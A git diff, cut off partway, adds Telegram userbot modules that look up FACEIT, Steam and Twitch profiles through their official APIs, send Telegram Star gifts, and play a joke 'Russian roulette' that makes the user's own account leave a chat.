For any inquiries or requests for permissions, please contact in Telegram @maximtrous or mead0wss.xyz@gmail.com.
|
||||
|
||||
Maxim
|
||||
25.03.2025
|
||||
99
mead0wsss/mead0wsMods/MyFACEIT.py
Normal file
99
mead0wsss/mead0wsMods/MyFACEIT.py
Normal file
@@ -0,0 +1,99 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/Hu25.jpg
|
||||
|
||||
|
||||
import requests
|
||||
from telethon import events
|
||||
from .. import loader, utils
|
||||
from aiohttp import ClientSession
|
||||
import json
|
||||
|
||||
@loader.tds
|
||||
class MyFACEIT(loader.Module):
|
||||
"""Модуль для получения информации о своем профиле FACEIT"""
|
||||
strings = {"name": "MyFACEIT"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"nickname",
|
||||
"",
|
||||
lambda: "Никнейм Faceit для получения информации",
|
||||
validator=loader.validators.String()
|
||||
),
|
||||
)
|
||||
|
||||
async def myfaceitcmd(self, event):
|
||||
"""- Показать информацию об своем FACEIT профиле."""
|
||||
nickname = self.config["nickname"]
|
||||
|
||||
if not nickname:
|
||||
await event.reply("❌ Никнейм Faceit не указан в .cfg!")
|
||||
return
|
||||
|
||||
async with ClientSession() as session:
|
||||
async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response:
|
||||
if response.status == 200:
|
||||
payload = await response.json()
|
||||
payload = payload.get("payload", {})
|
||||
|
||||
gender = payload.get("gender")
|
||||
user_type = payload.get("user_type")
|
||||
ID = payload.get("id")
|
||||
country = payload.get("country")
|
||||
region = payload.get("games", {}).get("cs2", {}).get("region")
|
||||
elo = payload.get("games", {}).get("cs2", {}).get("faceit_elo")
|
||||
faceit_lvl_c2 = payload.get("games", {}).get("cs2", {}).get("skill_level")
|
||||
twitch_id = payload.get("streaming", {}).get("twitch_id")
|
||||
steam_nickname = payload.get("platforms", {}).get("steam", {}).get("nickname")
|
||||
|
||||
if gender == "male":
|
||||
gender = "Мужчина"
|
||||
elif gender == "Female":
|
||||
gender = "Женщина"
|
||||
else:
|
||||
gender = "*неуказано*"
|
||||
|
||||
if user_type == "user":
|
||||
user_type = "Пользователь"
|
||||
else:
|
||||
user_type = "*неуказано*"
|
||||
|
||||
country_flags = {
|
||||
"ru": "🇷🇺",
|
||||
"eu": "🇪🇺",
|
||||
"us": "🇺🇸",
|
||||
"br": "🇧🇷",
|
||||
"cn": "🇨🇳",
|
||||
"kr": "🇰🇷",
|
||||
"jp": "🇯🇵",
|
||||
"au": "🇦🇺",
|
||||
"ca": "🇨🇦",
|
||||
"gb": "🇬🇧",
|
||||
"de": "🇩🇪",
|
||||
"fr": "🇫🇷",
|
||||
"es": "🇪🇸",
|
||||
"it": "🇮🇹",
|
||||
"pl": "🇵🇱",
|
||||
"tr": "🇹🇷",
|
||||
}
|
||||
|
||||
country_flag = country_flags.get(country.lower(), "")
|
||||
region_flag = country_flags.get(region.lower(), "")
|
||||
|
||||
await event.edit(f"<b>Информация об моем FACEIT профиле:\n\n🎮 Ник: {nickname}\n\n🚻 Пол: {gender}\n\n🔍 Тип: {user_type}\n\n🆔 Faceit ID: {ID}\n\n🌍 Страна: {country_flag}\n\n🌐 Регион: {region_flag}\n\n📊 Количество ELO: {elo}\n\n⭐️ Faceit LVL: {faceit_lvl_c2}\n\n📺 Twitch ID: {twitch_id}\n\n💻 Steam: {steam_nickname}</b>", parse_mode="html")
|
||||
else:
|
||||
await event.reply("❌ Ошибка при запросе к FACEIT API")
|
||||
1
mead0wsss/mead0wsMods/README.md
Normal file
1
mead0wsss/mead0wsMods/README.md
Normal file
@@ -0,0 +1 @@
|
||||
эрон дон дон
|
||||
37
mead0wsss/mead0wsMods/RussianRoulette.py
Normal file
37
mead0wsss/mead0wsMods/RussianRoulette.py
Normal file
@@ -0,0 +1,37 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/N3nB.jpg
|
||||
|
||||
from telethon.tl.functions.channels import LeaveChannelRequest
|
||||
import asyncio
|
||||
import random
|
||||
from .. import loader, utils
|
||||
|
||||
@loader.tds
|
||||
class RouletteMod(loader.Module):
|
||||
"""Модуль для игры в Русскую рулетку. При поражении выкидывает с чата."""
|
||||
strings = {"name": "Roulette"}
|
||||
|
||||
async def roulettecmd(self, message):
|
||||
"""Начать игру в Русскую рулетку"""
|
||||
await message.edit('😶🔫 Прикладываю пистолет к виску и медленно нажимаю курок...')
|
||||
await asyncio.sleep(2)
|
||||
|
||||
choice = random.choice([1, 2])
|
||||
if choice == 1:
|
||||
await message.edit('😵 Смерть... Всем пока!')
|
||||
await message.client(LeaveChannelRequest(message.chat_id))
|
||||
else:
|
||||
await message.edit('😄 Выжил! Остаюсь в чате.')
|
||||
251
mead0wsss/mead0wsMods/SenderGifts.py
Normal file
251
mead0wsss/mead0wsMods/SenderGifts.py
Normal file
@@ -0,0 +1,251 @@
|
||||
# -- version --
|
||||
__version__ = (1, 2, 0)
|
||||
# -- version --
|
||||
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
|
||||
# meta developer: @mead0wssMods x @nullmod
|
||||
# scope: heroku_only
|
||||
|
||||
from .. import loader, utils
|
||||
from herokutl.tl.functions.payments import GetPaymentFormRequest, SendStarsFormRequest, GetStarsStatusRequest
|
||||
from herokutl.tl.types import InputInvoiceStarGift, TextWithEntities
|
||||
from herokutl.errors.rpcerrorlist import BadRequestError
|
||||
import logging
|
||||
|
||||
@loader.tds
|
||||
class SenderGifts(loader.Module):
|
||||
"""Модуль для отправки подарков Telegram прямиком в чате"""
|
||||
strings = {
|
||||
"name": "SenderGifts",
|
||||
"usage": "<emoji document_id=4958526153955476488>❌</emoji> Используйте в формате: <code>.sendgift @username текст</code> или реплай + <code>.sendgift текст</code>",
|
||||
"checking_user": "<emoji document_id=5206634672204829887>🔍</emoji> Проверка пользователя...",
|
||||
"checking_balance": "<emoji document_id=5206634672204829887>🔍</emoji> Проверка баланса...",
|
||||
"user_not_found": "<emoji document_id=4958526153955476488>❌</emoji> Пользователь не найден",
|
||||
"gift_menu": "<emoji document_id=5931696400982088015>🎁</emoji> Выберите категорию подарков.\n\n<emoji document_id=6032693626394382504>👤</emoji> Пользователь: {}\n<emoji document_id=5873153278023307367>📄</emoji> Текст: {}\n<emoji document_id=5951810621887484519>⭐</emoji> Баланс: {} звезд",
|
||||
"category_menu": "<emoji document_id=5931696400982088015>🎁</emoji> Подарки за {} ⭐\n\n<emoji document_id=6032693626394382504>👤</emoji> Пользователь: {}\n<emoji document_id=5873153278023307367>📄</emoji> Текст: {}",
|
||||
"sending_gift": "<emoji document_id=5201691993775818138>🛫</emoji> Отправка подарка...",
|
||||
"gift_sent": "<emoji document_id=5021905410089550576>✅</emoji> Подарок успешно отправлен!",
|
||||
"not_enough_stars": "<emoji document_id=4958526153955476488>❌</emoji> Недостаточно звезд для отправки подарка {}!",
|
||||
"min_stars_error": "<emoji document_id=4958526153955476488>❌</emoji> Недостаточно звезд для отправки минимального подарка!",
|
||||
"no_available_gifts": "<emoji document_id=4958526153955476488>❌</emoji> Нет доступных подарков для вашего баланса",
|
||||
"balance_error": "<emoji document_id=4958526153955476488>❌</emoji> Ошибка при проверке баланса",
|
||||
}
|
||||
|
||||
gift_categories = {
|
||||
15: [
|
||||
{"id": 5170145012310081615, "emoji": "❤️", "name": "Сердце"},
|
||||
{"id": 5170233102089322756, "emoji": "🧸", "name": "Мишка"},
|
||||
],
|
||||
25: [
|
||||
{"id": 5170250947678437525, "emoji": "🎁", "name": "Подарок"},
|
||||
{"id": 5168103777563050263, "emoji": "🌹", "name": "Роза"},
|
||||
],
|
||||
50: [
|
||||
{"id": 5170144170496491616, "emoji": "🎂", "name": "Тортик"},
|
||||
{"id": 5170314324215857265, "emoji": "💐", "name": "Цветы"},
|
||||
{"id": 5170564780938756245, "emoji": "🚀", "name": "Ракета"},
|
||||
],
|
||||
100: [
|
||||
{"id": 5168043875654172773, "emoji": "🏆", "name": "Кубок"},
|
||||
{"id": 5170690322832818290, "emoji": "💍", "name": "Кольцо"},
|
||||
{"id": 5170521118301225164, "emoji": "💎", "name": "Алмаз"},
|
||||
]
|
||||
}
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self.client = client
|
||||
|
||||
async def get_star_balance(self):
|
||||
try:
|
||||
balance_info = (await self.client(GetStarsStatusRequest("me")))
|
||||
return balance_info.balance.amount
|
||||
except Exception as e:
|
||||
logging.error(f"Error getting balance: {e}")
|
||||
return 0
|
||||
|
||||
@loader.command()
|
||||
async def sendgift(self, message):
|
||||
"""- <username> <text*> - отправить подарок пользователю (* - необязательный параметр.) Поддерживается реплай режим."""
|
||||
args = utils.get_args_raw(message)
|
||||
reply = await message.get_reply_message()
|
||||
if reply:
|
||||
user = reply.sender
|
||||
text = args if args else ""
|
||||
else:
|
||||
if not args:
|
||||
await utils.answer(message, self.strings["usage"])
|
||||
return
|
||||
parts = args.split(maxsplit=1)
|
||||
if len(parts) < 1:
|
||||
await utils.answer(message, self.strings["usage"])
|
||||
return
|
||||
username = parts[0]
|
||||
text = parts[1] if len(parts) > 1 else ""
|
||||
if username.startswith('@'):
|
||||
username = username[1:]
|
||||
msg = await utils.answer(message, self.strings["checking_user"])
|
||||
try:
|
||||
user = await self.client.get_entity(username)
|
||||
except Exception as e:
|
||||
logging.error(f"User not found: {e}")
|
||||
await utils.answer(msg, self.strings["user_not_found"])
|
||||
return
|
||||
|
||||
balance_msg = await utils.answer(message, self.strings["checking_balance"])
|
||||
try:
|
||||
balance = await self.get_star_balance()
|
||||
except Exception as e:
|
||||
logging.error(f"Balance error: {e}")
|
||||
await utils.answer(balance_msg, self.strings["balance_error"])
|
||||
return
|
||||
|
||||
min_price = min(self.gift_categories.keys())
|
||||
if balance < min_price:
|
||||
await utils.answer(balance_msg, self.strings["min_stars_error"])
|
||||
return
|
||||
|
||||
available_categories = [price for price in self.gift_categories.keys() if balance >= price]
|
||||
if not available_categories:
|
||||
await utils.answer(balance_msg, self.strings["no_available_gifts"])
|
||||
return
|
||||
buttons = []
|
||||
row = []
|
||||
for price in sorted(available_categories):
|
||||
row.append({
|
||||
"text": f"{price} ⭐",
|
||||
"callback": self._show_category,
|
||||
"args": (user.id, price, text, balance, message.id),
|
||||
})
|
||||
if len(row) == 2:
|
||||
buttons.append(row)
|
||||
row = []
|
||||
|
||||
if row:
|
||||
buttons.append(row)
|
||||
|
||||
await utils.answer(
|
||||
balance_msg,
|
||||
self.strings["gift_menu"].format(
|
||||
f"@{user.username}" if user.username else user.first_name,
|
||||
text if text else "-",
|
||||
balance
|
||||
),
|
||||
reply_markup=buttons
|
||||
)
|
||||
|
||||
async def _show_category(self, call, user_id, price, text, balance, msg_id):
|
||||
gifts = self.gift_categories[price]
|
||||
buttons = []
|
||||
row = []
|
||||
for gift in gifts:
|
||||
row.append({
|
||||
"text": gift["emoji"],
|
||||
"callback": self._send_gift,
|
||||
"args": (user_id, gift["id"], text, gift["emoji"], msg_id, balance),
|
||||
})
|
||||
if len(row) == 3:
|
||||
buttons.append(row)
|
||||
row = []
|
||||
|
||||
if row:
|
||||
buttons.append(row)
|
||||
buttons.append([{
|
||||
"text": "⬅️ Назад",
|
||||
"callback": self._back_to_categories,
|
||||
"args": (user_id, text, balance, msg_id),
|
||||
}])
|
||||
|
||||
try:
|
||||
user = await self.client.get_entity(user_id)
|
||||
user_display = f"@{user.username}" if user.username else user.first_name
|
||||
except:
|
||||
user_display = f"ID: {user_id}"
|
||||
|
||||
await call.edit(
|
||||
self.strings["category_menu"].format(
|
||||
price,
|
||||
user_display,
|
||||
text if text else "-"
|
||||
),
|
||||
reply_markup=buttons
|
||||
)
|
||||
|
||||
async def _back_to_categories(self, call, user_id, text, balance, msg_id):
|
||||
try:
|
||||
user = await self.client.get_entity(user_id)
|
||||
except:
|
||||
await call.answer("Ошибка получения пользователя", show_alert=True)
|
||||
return
|
||||
|
||||
available_categories = [price for price in self.gift_categories.keys() if balance >= price]
|
||||
|
||||
buttons = []
|
||||
row = []
|
||||
for price in sorted(available_categories):
|
||||
row.append({
|
||||
"text": f"{price} ⭐",
|
||||
"callback": self._show_category,
|
||||
"args": (user_id, price, text, balance, msg_id),
|
||||
})
|
||||
if len(row) == 2:
|
||||
buttons.append(row)
|
||||
row = []
|
||||
|
||||
if row:
|
||||
buttons.append(row)
|
||||
|
||||
await call.edit(
|
||||
self.strings["gift_menu"].format(
|
||||
f"@{user.username}" if user.username else user.first_name,
|
||||
text if text else "-",
|
||||
balance
|
||||
),
|
||||
reply_markup=buttons
|
||||
)
|
||||
|
||||
async def _send_gift(self, call, user_id, gift_id, text, gift_emoji, msg_id, balance):
|
||||
try:
|
||||
await call.edit(
|
||||
self.strings["sending_gift"],
|
||||
reply_markup=None
|
||||
)
|
||||
|
||||
user = await self.client.get_input_entity(user_id)
|
||||
inv = InputInvoiceStarGift(
|
||||
user,
|
||||
gift_id,
|
||||
message=TextWithEntities(text, []) if text else TextWithEntities("", [])
|
||||
)
|
||||
form = await self.client(GetPaymentFormRequest(inv))
|
||||
result = await self.client(SendStarsFormRequest(form.form_id, inv))
|
||||
|
||||
await call.edit(self.strings["gift_sent"])
|
||||
|
||||
except BadRequestError as e:
|
||||
if "BALANCE_TOO_LOW" in str(e):
|
||||
await call.edit(
|
||||
self.strings["not_enough_stars"].format(gift_emoji),
|
||||
reply_markup=None
|
||||
)
|
||||
else:
|
||||
logging.error(f"Error sending gift: {e}")
|
||||
await call.edit(
|
||||
f"<emoji document_id=4958526153955476488>❌</emoji> Ошибка при отправке подарка: {str(e)}",
|
||||
reply_markup=None
|
||||
)
|
||||
except Exception as e:
|
||||
logging.error(f"Error sending gift: {e}")
|
||||
await call.edit(
|
||||
f"<emoji document_id=4958526153955476488>❌</emoji> Ошибка при отправке подарка: {str(e)}",
|
||||
reply_markup=None
|
||||
)
|
||||
119
mead0wsss/mead0wsMods/SteamProfile.py
Normal file
119
mead0wsss/mead0wsMods/SteamProfile.py
Normal file
@@ -0,0 +1,119 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
# meta banner: https://x0.at/B0ze.png
|
||||
|
||||
import aiohttp
|
||||
import asyncio
|
||||
from telethon import events
|
||||
from .. import loader, utils
|
||||
|
||||
@loader.tds
|
||||
class SteamProfile(loader.Module):
|
||||
"""Модуль для получения информации о пользователях Steam."""
|
||||
strings = {"name": "Steam Profile"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"api_key",
|
||||
"",
|
||||
lambda: "Ваш API ключ Steam (https://steamcommunity.com/dev/apikey)",
|
||||
validator=loader.validators.Hidden(),
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"show_games",
|
||||
True,
|
||||
lambda: "Показ игр пользователя (True/False)",
|
||||
validator=loader.validators.Boolean(),
|
||||
),
|
||||
)
|
||||
|
||||
async def steamprofilecmd(self, event):
|
||||
"""Получить информацию об пользователе Steam."""
|
||||
args = utils.get_args_raw(event)
|
||||
if not args:
|
||||
await event.edit("❌ Укажите никнейм Steam после команды.")
|
||||
return
|
||||
|
||||
api_key = self.config.get("api_key")
|
||||
if not api_key:
|
||||
await event.edit("❌ API KEY неуказан в cfg! (https://steamcommunity.com/dev/apikey)")
|
||||
return
|
||||
|
||||
persona_name = args.strip()
|
||||
await event.edit("⏱️ Получаю информацию...")
|
||||
await asyncio.sleep(5)
|
||||
|
||||
steam_id = await self.get_steam_id(api_key, persona_name)
|
||||
if steam_id:
|
||||
player_info = await self.get_player_info(api_key, steam_id)
|
||||
owned_games = await self.get_owned_games(api_key, steam_id)
|
||||
|
||||
if player_info is None or 'response' not in player_info or 'players' not in player_info['response']:
|
||||
await event.edit("❌ Ошибка: Не удалось получить информацию о пользователе.")
|
||||
return
|
||||
|
||||
response_message = await self.send_profile_info(event, player_info, owned_games)
|
||||
await event.edit(response_message)
|
||||
else:
|
||||
await event.edit("❌ Ошибка: Никнейм не найден.")
|
||||
|
||||
async def get_steam_id(self, api_key, persona_name):
|
||||
url = f"https://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key={api_key}&vanityurl={persona_name}"
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url) as response:
|
||||
if response.status == 200:
|
||||
data = await response.json()
|
||||
if data['response']['success'] == 1:
|
||||
return data['response']['steamid']
|
||||
return None
|
||||
|
||||
async def get_player_info(self, api_key, steam_id):
|
||||
url = f"https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key={api_key}&steamids={steam_id}"
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url) as response:
|
||||
if response.status == 200:
|
||||
return await response.json()
|
||||
return None
|
||||
|
||||
async def get_owned_games(self, api_key, steam_id):
|
||||
url = f"https://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key={api_key}&steamid={steam_id}&include_appinfo=true&include_played_free_games=true"
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url) as response:
|
||||
if response.status == 200:
|
||||
return await response.json()
|
||||
return None
|
||||
|
||||
async def send_profile_info(self, event, player_info, owned_games):
|
||||
if player_info is None or 'response' not in player_info or 'players' not in player_info['response']:
|
||||
return "❌ Нет информации о пользователе."
|
||||
|
||||
player = player_info['response']['players'][0]
|
||||
response = f"<b>Информация о пользователе:</b>\n"
|
||||
response += f"👤 Ник: {player['personaname']}\n"
|
||||
response += f"🔗 URL: {player['profileurl']}\n"
|
||||
response += f"🧑 Настоящее имя: {player.get('realname', 'Не указано')}\n"
|
||||
response += f"🔒 Видимость профиля: {'Открытый' if player['communityvisibilitystate'] == 3 else 'Закрытый'}\n"
|
||||
response += f"💬 Статус: {'Онлайн' if player['personastate'] == 1 else 'Оффлайн'}\n"
|
||||
response += f"🌍 Страна: {player.get('loccountrycode', 'Не указано')}\n"
|
||||
response += f"🖼️ Аватарка: {player['avatarfull']}\n\n"
|
||||
|
||||
if self.config.get("show_games") and owned_games and 'games' in owned_games['response']:
|
||||
response += "<b>Показ игр пользователя:</b>\n"
|
||||
for game in owned_games['response']['games']:
|
||||
hours_played = game['playtime_forever'] / 60
|
||||
response += f" - {game['name']} (Время игры: {hours_played:.2f} часов)\n"
|
||||
|
||||
return response if response else "❌ Нет информации о пользователе."
|
||||
271
mead0wsss/mead0wsMods/Twitch.py
Normal file
271
mead0wsss/mead0wsMods/Twitch.py
Normal file
@@ -0,0 +1,271 @@
|
||||
__version__ = (1, 0, 0)
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
# scope: hikka_only
|
||||
# scope: hikka_min 1.3.3
|
||||
# meta developer: @mead0wssMods
|
||||
|
||||
import aiohttp
|
||||
from .. import loader, utils
|
||||
|
||||
@loader.tds
|
||||
class TwitchMod(loader.Module):
|
||||
"""Модуль для работы с Twitch"""
|
||||
strings = {"name": "Twitch"}
|
||||
|
||||
def __init__(self):
|
||||
self.config = loader.ModuleConfig(
|
||||
loader.ConfigValue(
|
||||
"CLIENT_ID",
|
||||
"",
|
||||
lambda: "Client ID из Twitch Dev Console [https://dev.twitch.tv/console/]",
|
||||
validator=loader.validators.Hidden()
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"ACCESS_TOKEN",
|
||||
"",
|
||||
lambda: "Access Token с scope user:read:follows [https://twitchtokengenerator.com/]",
|
||||
validator=loader.validators.Hidden()
|
||||
),
|
||||
loader.ConfigValue(
|
||||
"TARGET_USERNAME",
|
||||
"",
|
||||
lambda: "Ваш никнейм пользователя Twitch [https://www.twitch.tv/",
|
||||
validator=loader.validators.Hidden()
|
||||
),
|
||||
)
|
||||
self.session = aiohttp.ClientSession()
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self._client = client
|
||||
|
||||
async def get_user_id(self, username=None):
|
||||
"""Получаем ID пользователя"""
|
||||
url = "https://api.twitch.tv/helix/users"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"login": username or self.config["TARGET_USERNAME"]}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data["data"][0]["id"] if data.get("data") else None
|
||||
|
||||
async def get_all_followed(self, user_id):
|
||||
"""Получаем всех подписанных стримеров"""
|
||||
url = "https://api.twitch.tv/helix/channels/followed"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"user_id": user_id}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("data", [])
|
||||
|
||||
async def get_live_streams(self, logins=None, game_id=None, limit=100):
|
||||
"""Получаем онлайн стримы"""
|
||||
url = "https://api.twitch.tv/helix/streams"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"first": limit}
|
||||
|
||||
if logins:
|
||||
params["user_login"] = logins[:100]
|
||||
if game_id:
|
||||
params["game_id"] = game_id
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("data", [])
|
||||
|
||||
async def get_top_games(self, limit=10):
|
||||
"""Получаем топ игр"""
|
||||
url = "https://api.twitch.tv/helix/games/top"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"first": limit}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("data", [])
|
||||
|
||||
async def search_games(self, query):
|
||||
"""Поиск игр по названию"""
|
||||
url = "https://api.twitch.tv/helix/search/categories"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"query": query}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("data", [])
|
||||
|
||||
async def get_channel_info(self, broadcaster_id):
|
||||
"""Получаем информацию о канале"""
|
||||
url = "https://api.twitch.tv/helix/channels"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"broadcaster_id": broadcaster_id}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("data", [{}])[0]
|
||||
|
||||
async def get_channel_followers(self, broadcaster_id):
|
||||
"""Получаем количество фолловеров канала"""
|
||||
url = "https://api.twitch.tv/helix/channels/followers"
|
||||
headers = {
|
||||
"Client-ID": self.config["CLIENT_ID"],
|
||||
"Authorization": f"Bearer {self.config['ACCESS_TOKEN']}"
|
||||
}
|
||||
params = {"broadcaster_id": broadcaster_id, "first": 1}
|
||||
|
||||
async with self.session.get(url, headers=headers, params=params) as resp:
|
||||
data = await resp.json()
|
||||
return data.get("total", 0)
|
||||
|
||||
@loader.command()
|
||||
async def followed(self, message):
|
||||
"""Показать всех подписанных стримеров"""
|
||||
user_id = await self.get_user_id()
|
||||
if not user_id:
|
||||
await utils.answer(message, "<emoji document_id=5019523782004441717>❌</emoji> Пользователь не найден!")
|
||||
return
|
||||
|
||||
followed = await self.get_all_followed(user_id)
|
||||
if not followed:
|
||||
await utils.answer(message, "<emoji document_id=5190748314026385859>🤷♂️</emoji> Нет подписок")
|
||||
return
|
||||
|
||||
text = "<emoji document_id=4999434394599948988>🎮</emoji> Каналы на которые зафолловлен:\n\n"
|
||||
for channel in followed[:25]:
|
||||
followers_count = await self.get_channel_followers(channel["broadcaster_id"])
|
||||
text += (f"<emoji document_id=5944753741512052670>📷</emoji> <b><a href='https://twitch.tv/{channel['broadcaster_login']}'>"
|
||||
f"{channel['broadcaster_name']}</a></b> [<emoji document_id=6032609071373226027>👥</emoji> <code>{followers_count}</code> Фолловеров]\n")
|
||||
|
||||
if len(followed) > 25:
|
||||
text += f"\n...и еще {len(followed) - 25} стримеров"
|
||||
|
||||
await utils.answer(message, text)
|
||||
|
||||
@loader.command()
|
||||
async def streams(self, message):
|
||||
"""Показать онлайн стримы"""
|
||||
user_id = await self.get_user_id()
|
||||
if not user_id:
|
||||
await utils.answer(message, "<emoji document_id=5019523782004441717>❌</emoji> Пользователь не найден!")
|
||||
return
|
||||
|
||||
followed = await self.get_all_followed(user_id)
|
||||
if not followed:
|
||||
